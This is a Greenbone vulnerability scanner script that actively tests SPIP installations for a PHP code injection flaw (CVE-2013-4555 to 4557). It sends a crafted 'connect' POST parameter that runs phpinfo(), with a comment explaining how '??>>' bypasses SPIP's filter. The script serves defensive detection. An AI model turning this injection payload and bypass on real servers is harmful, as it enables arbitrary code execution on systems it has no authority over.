SPIP 'connect' Parameter PHP Code Injection Vulnerability (Aug 2013) - Active Check

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:spip:spip";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103777");
  script_version("2025-11-11T05:40:18+0000");
  script_tag(name:"last_modification", value:"2025-11-11 05:40:18 +0000 (Tue, 11 Nov 2025)");
  script_tag(name:"creation_date", value:"2013-08-29 12:05:48 +0200 (Thu, 29 Aug 2013)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2013-4555", "CVE-2013-4556", "CVE-2013-4557");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("SPIP 'connect' Parameter PHP Code Injection Vulnerability (Aug 2013) - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54292");
  script_xref(name:"URL", value:"http://www.securitytracker.com/id/1029317");

  # nb: The done injection requests might be already seen as an attack...
  script_category(ACT_ATTACK);

  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_spip_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("spip/http/detected");

  script_tag(name:"summary", value:"SPIP is prone to a remote PHP code injection vulnerability.");

  script_tag(name:"vuldetect", value:"Tries to execute the phpinfo() function by sending an HTTP
  POST request.");

  script_tag(name:"insight", value:"SPIP contains a flaw that is triggered when input passed via the
  'connect' parameter is not properly sanitized before being used.");

  script_tag(name:"impact", value:"An attacker can exploit this issue to inject and execute
  arbitrary PHP code in the context of the affected application. This may facilitate a compromise of
  the application and the underlying system, other attacks are also possible.");

  script_tag(name:"affected", value:"SPIP versions prior to 2.0.21, 2.1.16 and 3.0.3 are vulnerable.
  Other versions may also affected.");

  script_tag(name:"solution", value:"Vendor updates are available.");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("misc_func.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

header = make_array("Content-Type", "application/x-www-form-urlencoded");
data = "connect=??>><?php phpinfo();#"; # there is a typo in ecran_securite.php (line 260) which makes str_replace() looking for the string "?>". With "??>>" we could bypass this workaround. Some installations also need to comment out all behind the command...

url = dir + "/spip.php";

req = http_post_put_req(port:port, url:url, data:data, add_headers:header);

# nb: Sometimes there is no output from phpinfo() on the first request. So try twice...
for(i = 0; i < 2; i++) {

  res = http_keepalive_send_recv(port:port, data:req);

  if(!res || res !~ "^HTTP/1\.[01] 200")
    continue;

  if(concl = http_check_for_phpinfo_output(data:res)) {
    report = http_report_vuln_url(port:port, url:url);
    report += '\nConcluded from:\n' + concl;
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);